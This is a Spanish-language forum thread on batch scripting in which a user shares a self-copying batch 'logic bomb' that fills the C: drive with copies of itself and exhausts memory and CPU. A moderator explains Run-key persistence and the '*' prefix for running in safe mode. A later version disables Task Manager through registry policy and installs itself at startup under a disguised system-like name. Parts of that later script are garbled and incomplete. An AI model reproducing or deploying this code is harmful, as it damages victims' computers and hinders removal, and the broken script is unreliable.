Autor
|
Tema: Variables en BATCH (Leído 8,716 veces)
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
¿os parecería bien si aporto dicho código en la sección de análisis y diseño de malware, ya que estamos?. Eres libre de decidir donde postear dicho aporte, pero si quieres mi opinión (y consejo), no lo postees en la sección de análisis de Malware, pues aunque tu todavía no te des cuenta de ello Batch no se puede considerar un lenguaje de programación, mucho menos una herramienta de Malwara o de virus, postear códigos Batch en la sección de Malwarw sería algo que suelen hacer los más noobs (no te insulto ni tampoco intento ofender, sólamente te intento explicar los motivos), si tienes un código escrito en Batch, lo más correcto sería que lo posteases aquí, pero como ya digo, eres libre de tomar esa decisión. PD: Quizás este aporte te ayude a conocer otras formas de hacer bombas lógicas en Batch como el copiado masivo de archivos ~> by Elektro - Virulator 1.0c Saludos!
|
|
« Última modificación: 19 Enero 2014, 18:32 pm por Eleкtro »
|
En línea
|
|
|
|
crazykenny
|
Eres libre de decidir donde postear dicho aporte, pero si quieres mi opinión (y consejo), no lo postees en la sección de análisis de Malware, pues aunque tu todavía no te des cuenta de ello Batch no se puede considerar un lenguaje de programación, mucho menos una herramienta de Malwara o de virus, postear códigos Batch en la sección de Malwara sería algo que suelen hacer los más noobs (no te insulto ni tampoco intento ofender, sólamente te intento explicar los motivos), si tienes un código escrito en Batch, lo más correcto sería que lo posteases aquí, pero como ya digo, eres libre de tomar esa decisión. PD: Quizás este aporte te ayude a conocer otras formas de hacer bombas lógicas en Batch como el copiado masicvo de archivos ~> by Elektro - Virulator 1.0c Saludos! Entiendo, y muchas gracias por tu respuesta, Elecktro, y no te preocupes, que lo que has comentado no me molesta en ningún sentido todo lo que has comentado en tu mensaje. Por otra parte, te agradezco el enlace, ahora mismo lo miro. Dicho sea de paso, y, si no es molestia, claro esta, y, dado el caso, quisiera aprovechar para preguntar aquí lo que tenia en mente preguntar en la sección de Malware (dado el caso, claro esta). Entonces, el caso es que he observado el hecho de que algunos virus es posible que se ejecuten automáticamente al insertar un pendrive con estos en un ordenador, y, por otra parte, el hecho de que un virus se ejecute al arrancar un ordenador, encontrando lo siguiente; -Para hacer que un virus se ejecute al arrancar el ordenador, hay que modificar el registro de Windows y/o bien hacer que este virus se copie automáticamente en una determinada carpeta del ordenador (la cual se llamaba "inicio", creo recordar). -Para que un virus se ejecute al conectar un pendrive al ordenador, ha de existir un archivo llamado "autorun.ini", cuyo contenido es algo asi como "OPEN=nombredelarchivo.bat". Entonces, en el primer caso, y, aun habiendo encontrado en este foro y/o a través de Google cierto código que realizaba lo mencionado, pues, francamente, no he acabado de entender acerca de como funciona, motivo por el cual, y, si no es molestia, claro esta, quisiera solicitar el hecho de saber como funciona el código en cuestión, y, por otra parte, un ejemplo de este a incluir en un archivo ".bat" para que se ejecute al iniciar Windows. Por otra parte, y, en lo segundo, creo haber entendido que con el archivo "autorun.ini", es posible deshabilitar y/o modificar ciertas opciones en Windows (la cual, por cierto, viene por defecto "inhabilitada" -u algo asi- a partir de Windows 7 y SO mas modernos de Microsoft) para evitar ejecutar dicho archivo, con el consiguiente impedimento para ejecutar el archivo ".bat". Entonces, con esto que he comentado de la segunda opción, quisiera preguntaros si existe una alternativa al "autorun.ini" para ejecutar archivos ".bat" de forma automática al conectar un pendrive a un ordenador. Por ultimo, y, ya que estamos, creo que he comentado mi intención de publicar el código, el cual, y, aun faltando por poner en dicho código el hecho de buscar cada unidad por su letra, quisiera publicar el código a ver que os parece. SET varb=abreme SET varc=.bat :copias SET var=C:\ SET varb=%varb%1 SET varb=%varb%1 SET vard=%var%%varb%%varc% if not exist %vard% copy %0 %vard% if exist %vard% start %vard% goto copias
Evidentemente, el código en cuestión lo que realiza es copiarse a si mismo (pero con diferente nombre) en la unidad C:\ y ejecutar su copia nada mas realizarla de forma indefinida, provocando el hecho de llenar dicha unidad con sus copias, y, de paso, consumir RAM y CPU indefinidamente sin que el usuario pueda hacer gran cosa. Muchas gracias por vuestra atención. Saludos.
|
|
|
En línea
|
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos. Se responsable, consecuente y da ejemplo. https://informaticayotrostemas.blogspot.com/Mi canal de Youtube: https://www.youtube.com
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Bien, vamos por partes Lo primero de todo, el método de autoejecutar un archivo desde un pendrive es algo prehistórico ya que a partir de Windows vista (o fue desde windows 7, no recuerdo bien) quedó totálmente obsoleto, Microsoft eliminó por completo la capacidad de poder ejecutar un autorun desde un dispositivo extraible por los motivos de seguridad que ya te puedes imaginar, así que en estos tiempos que corren solo puedes escribir un autorun para dispositivos de CD-ROM. ...Aunque, por otro lado, habian (no se si aún existen) dispositivos USB que su hardware se hacia pasar por un dispositivo de CDROM, pudiendo así engañar al sistema Windows para iniciar un autorun desde ese pendrive "camaleónico". para que te hagas una idea, como esos USB de los chinos de eBay que dicen tener más capacidad de almacenamiento de la que reálmente tienen. En resumen, el autorun solo te va a servir para los que usen Windows XP o inferior, no vale la pena experimentar con métodos antiguos.
Bien, sobre autoejecutar un archivo desde el registro, debes saber dos cosas importantes: 1. Es un método facil y efectivo, lo que implica que a su vez sea igual de facil de detectar como mirar en la lista de procesos que se ejecutan al inicio de Windows, e igual de facil es de eliminar. 2. La mayoría de gente que usa esa técnica no saben que tiene sus limitaciones, la limitación más grande es que este archivo no se podrá ejecutar si el usuario inicia sesión en modo seguro, claro ...eso es lo que pasa si se juega a hacer "virus" sin nisiquiera conocer apenas como funciona un sistema operativo. aunque esto se puede llegar a conseguir de forma facil. A continuación te detallaré ( no mucho) los dos puntos improtantes que acabo de mencionar: 1. El registro de windows proporciona una clave para indicar ciertos archivos que se deben ejecutar al inicio del sistema, HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run La raíz HKEY_LOCAL_MACHINE (también conocida como HKLM) hace referencia a todos los usuarios del sistema, es decir, si añades la subclave para iniciar tu programa en esa clave, tu programa se iniciará en la sesión de todos los usuarios. La raíz HKEY_CURRENT_USER (también conocida como HKCU) hace referencia a la sesión del usuario actual, es decir, si añades tu programa ahí se iniciará solamente en la sesión del usuario actual. Aquí puedes ver varios ejemplos de como añadir un programa a esta clave, usando Batch: :: Converted with REG2BAT v2.1 by Elektro REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Hot Corners" /T "REG_SZ" /D "Wscript.exe \"C:\Program Files (x86)\Hot Corners\RUN.vbs"" /F REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "MiniBin" /T "REG_SZ" /D "C:\Program Files (x86)\MiniBin\minibin.exe" /F REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Rocket Dock" /T "REG_SZ" /D "C:\Program Files (x86)\RocketDock\RocketDock.exe" /F REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Sidebar" /T "REG_SZ" /D "C:\Program Files\Windows Sidebar\sidebar.exe /autoRun" /F REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Sizer" /T "REG_SZ" /D "C:\Program Files (x86)\Sizer\Sizer.exe" /F REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Automatic wallpaper Changer" /T "REG_SZ" /D "C:\Program Files\Automatic Wallpaper Changer\Automatic wallpaper Changer.exe" /F
Examinemos una orden cualquiera del script que he msotrado: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "MiniBin" /T "REG_SZ" /D "C:\Program Files (x86)\MiniBin\minibin.exe" /F
El valor del parámetro ADD del comando REG es HKCU\Software\Microsoft\Windows\CurrentVersion\Run, esto indica la subclave donde agregar el nuevo valor. El valor del parámetro /V (o Value) indica el nomrbe del nuevo valor, en este caso MiniBinEl valor del parámetro /T (o Type) indica el tipo de datos del valor (pues puede ser un valor de tipo String, o binario, etc) en este caso es REG_SZ que hace referencia a tipo String (texto) y es el valor por defecto (es decir, no es necesario especiicar el parámetro /T si los datos son de tipo texto). Y por último, el valor del parámetro /D (o Data) indica los datos del valor, en este caso es la ubicación del programa que queremos ejecutar C:\Program Files (x86)\MiniBin\minibin.exeComo nota adicional, puedes usar variables de entorno ( %WINDIR%, %APPDATA%, etc) si estableces el tipo de subclave a REG_EXPAND_SZ, si el valor es de tipo REG_SZ no te va a funcionar la variable de entorno que escribas (adentro de los datos del valor me refiero, no en el script Batch).
2. Ya sabes como añadir tu programa al inicio de Windows, ahora, ¿Como evitar que el programa no se inicie en modo seguro? Bueno, por pura lógica si Windows tiene un modo de inicio que se denomina " Modo seguro", es por una buena razón, ya que sólamente se cargan los drivers y otros elementos esenciales del sistema operativo, omitiendo así cualquier programa innecesario al cargar windows, como por ejemplo, los programas que agreguemos al registro para que se ejecuten al inicio de sesión. Pero esto es algo tan sencillo de evitar como añadir el símbolo * al nombre del valor, por ejemplo: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "*Programa" /T "REG_SZ" /D "C:\MiPrograma.exe" /F
El prefijo * se denomina WildCard, en casi todos los comandos de Batch se suele utilizar para indicar un conjunto de varios elementos (por ejemplo, si tenemos un archivo que se llama Archivo1.txt y otro archivo que se llama Archivo2.txt, podemos recopilar todos los archivos utilizando la expresión Archivo*.txt), y en este caso indica que el programa debe seguir ejecutandose incluso en modo seguro en todos los modos de inicio del sistema. Y creo que con esto, ya queda todo dicho. Si tienes dudas pregunta. Saludos
|
|
« Última modificación: 19 Enero 2014, 19:31 pm por Eleкtro »
|
En línea
|
|
|
|
crazykenny
|
Entiendo, y muchas gracias por tu explicación Elektro. Por ultimo, y, si no es mucho pedir y/o mucha molestia, claro esta, ¿podría utilizar los datos que has expuesto y/o los comandos del administrador de tareas que hay indicados en el enlace del otro mensaje que has puesto?. A ver, y, insisto, no lo digo con animo de ofender, ni faltar al respeto, ni nada por el estilo, pero, y aunque no tengo ningún tipo de intención de perjudicar a nadie con lo aprendido dentro de este foro ni con el programa en cuestión, toda esta información me resulta muy útil para experimentar y probar cosas nuevas en un ordenador aparte que tengo aquí y que falla de vez en cuando. Por ultimo, y, si se me permite la pregunta, claro esta, ¿Qué métodos hay para que un virus se ejecute automáticamente al entrar el pendrive donde esta almacenado en un ordenador? (aparte del autorun.ini claro esta). Muchas gracias por vuestra atención. Saludos.
|
|
|
En línea
|
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos. Se responsable, consecuente y da ejemplo. https://informaticayotrostemas.blogspot.com/Mi canal de Youtube: https://www.youtube.com
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Por ultimo, y, si no es mucho pedir y/o mucha molestia, claro esta, ¿podría utilizar los datos que has expuesto y/o los comandos del administrador de tareas que hay indicados en el enlace del otro mensaje que has puesto?.
No se exáctamente a que otro mensaje te refieres, pero si, sea como sea ...claro que puedes. Si, claro que puedes usar lo que te haya interesado del script del Virulator. ¿Qué métodos hay para que un virus se ejecute automáticamente al entrar el pendrive donde esta almacenado en un ordenador? (aparte del autorun.ini claro esta). La cuestión es que (en Windows 7 y 8, supongo que te refieres a eso) no existe ningún método por software, la característica AutoRun está complétamente deshabilitada en Windows, no existe, por ende no hay nada que puedas lograr. EDITO: Y el único modo en WinXP es usar el Autorun.ini, que además hay que tener en cuenta que el servicio de AutoPlay debe estar activado en el sistema donde se ejecute ese Pendrive, cosa que depende únicamente del usuario de ese PC y puede desactivar en cualquier momento o cambiar los parámetros para no ejecutar los autoruns en dispositivos extraibles. Encontré un USB camaleónico por si te interesa (aunque el método es bastante distinto a lo que comenté de hacerse pasar por un CDROM): ~> Custom USB sticks bypassing Windows 7/8′s AutoRun protectionSaludos!
|
|
« Última modificación: 19 Enero 2014, 19:49 pm por Eleкtro »
|
En línea
|
|
|
|
crazykenny
|
Entiendo, y muchas gracias por tus respuestas y toda la ayuda que me has ofrecido tanto tu como los demás compañeros del foro para poder realizar el programa en cuestión, el cual quisiera aprovechar para compartir con vosotros ya que estamos, aunque también acepto cualquier tipo de critica (tanto positiva como negativa) dado que es el primer código que he hecho en Batch y demás cosas, y, bueno, espero que os pueda ser de utilidad dado el caso. Entonces, y, aunque he hecho varios códigos del programa, quisiera pasaros el ultimo que he hecho y que "creo" que puede dar mas problemas dado el caso; reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nulreg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nulvart=%varb%%varc% vary=%WINDIR% varz=%vary%%vart% Reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "*WindowsMachineSubProcess" /D " %WINDIR%\ %~n0.bat" /F >NUL 2 >&1 :copias SET vard= %var%%varb%%varc% :Bdir SET vard= %var%%varb%%varc% :Cdir SET vard= %var%%varb%%varc% :Ddir SET vard= %var%%varb%%varc% :Edir SET vard= %var%%varb%%varc% :Fdir SET vard= %var%%varb%%varc% :Gdir SET vard= %var%%varb%%varc% :Hdir SET vard= %var%%varb%%varc% :Idir SET vard= %var%%varb%%varc% :Jdir SET vard= %var%%varb%%varc% :Kdir SET vard= %var%%varb%%varc% :Ldir SET vard= %var%%varb%%varc% :Mdir SET vard= %var%%varb%%varc% :Ndir SET vard= %var%%varb%%varc% :Odir SET vard= %var%%varb%%varc% :Pdir SET vard= %var%%varb%%varc% :Qdir SET vard= %var%%varb%%varc% :Rdir SET vard= %var%%varb%%varc% :Sdir SET vard= %var%%varb%%varc% :Tdir SET vard= %var%%varb%%varc% :Udir SET vard= %var%%varb%%varc% :Wdir SET vard= %var%%varb%%varc% :Xdir SET vard= %var%%varb%%varc% :Ydir SET vard= %var%%varb%%varc% :Zdir SET vard= %var%%varb%%varc% :ZZdir
Muchas gracias por vuestra atención. Saludos.
|
|
« Última modificación: 19 Enero 2014, 21:14 pm por Eleкtro »
|
En línea
|
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos. Se responsable, consecuente y da ejemplo. https://informaticayotrostemas.blogspot.com/Mi canal de Youtube: https://www.youtube.com
|
|
|
andetsom
Desconectado
Mensajes: 2
|
debo guardar el archivo con .bat?
|
|
|
En línea
|
|
|
|
crazykenny
|
Hola, andetsom; francamente, no se si quieres ejecutarlo (o no) en tu ordenador, pero si lo que quieres es ejecutar el código que he puesto, no te lo recomiendo ya que puedes tener problemas en tu ordenador incluso cada vez que inicies Windows, aunque, si quieres ejecutarlo, mejor hazlo en una maquina virtual (u algo asi) en caso de que quieras experimentar con el. Dicho sea de paso, esto te lo comento mas que nada en caso de que quieras ejecutar el código dentro de tu ordenador (u algo asi) sin utilizar maquinas virtuales (entre otras cosas). Muchas gracias por vuestra atención. Saludos. EDITO; acabo de mirar una cosa, y veo que tu pusiste un tema en "dudas generales" sobre un tema de scripting. Entonces, mi recomendación es que no te centres en este código, sino en las respuestas aquí expuestas para encontrar lo que buscas.
|
|
« Última modificación: 26 Enero 2014, 11:12 am por crazykenny »
|
En línea
|
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos. Se responsable, consecuente y da ejemplo. https://informaticayotrostemas.blogspot.com/Mi canal de Youtube: https://www.youtube.com
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Variables dentro de variables (batch)
Scripting
|
MK-Ultra
|
8
|
7,911
|
6 Febrero 2008, 23:18 pm
por GUN$
|
|
|
Variables batch y vb
Programación Visual Basic
|
gdegrau
|
3
|
2,386
|
27 Enero 2009, 20:03 pm
por krackwar
|
|
|
[BATCH] ¿Como puedo meter variables dentro de variables?
Scripting
|
Meine programmen
|
1
|
4,191
|
24 Marzo 2012, 16:48 pm
por Eleкtro
|
|
|
Variables Batch en C++
Programación C/C++
|
OmarHack
|
2
|
2,025
|
19 Julio 2014, 01:56 am
por ivancea96
|
|
|
variables en batch
« 1 2 »
Scripting
|
crisoof
|
11
|
10,490
|
23 Febrero 2015, 12:50 pm
por crisoof
|
|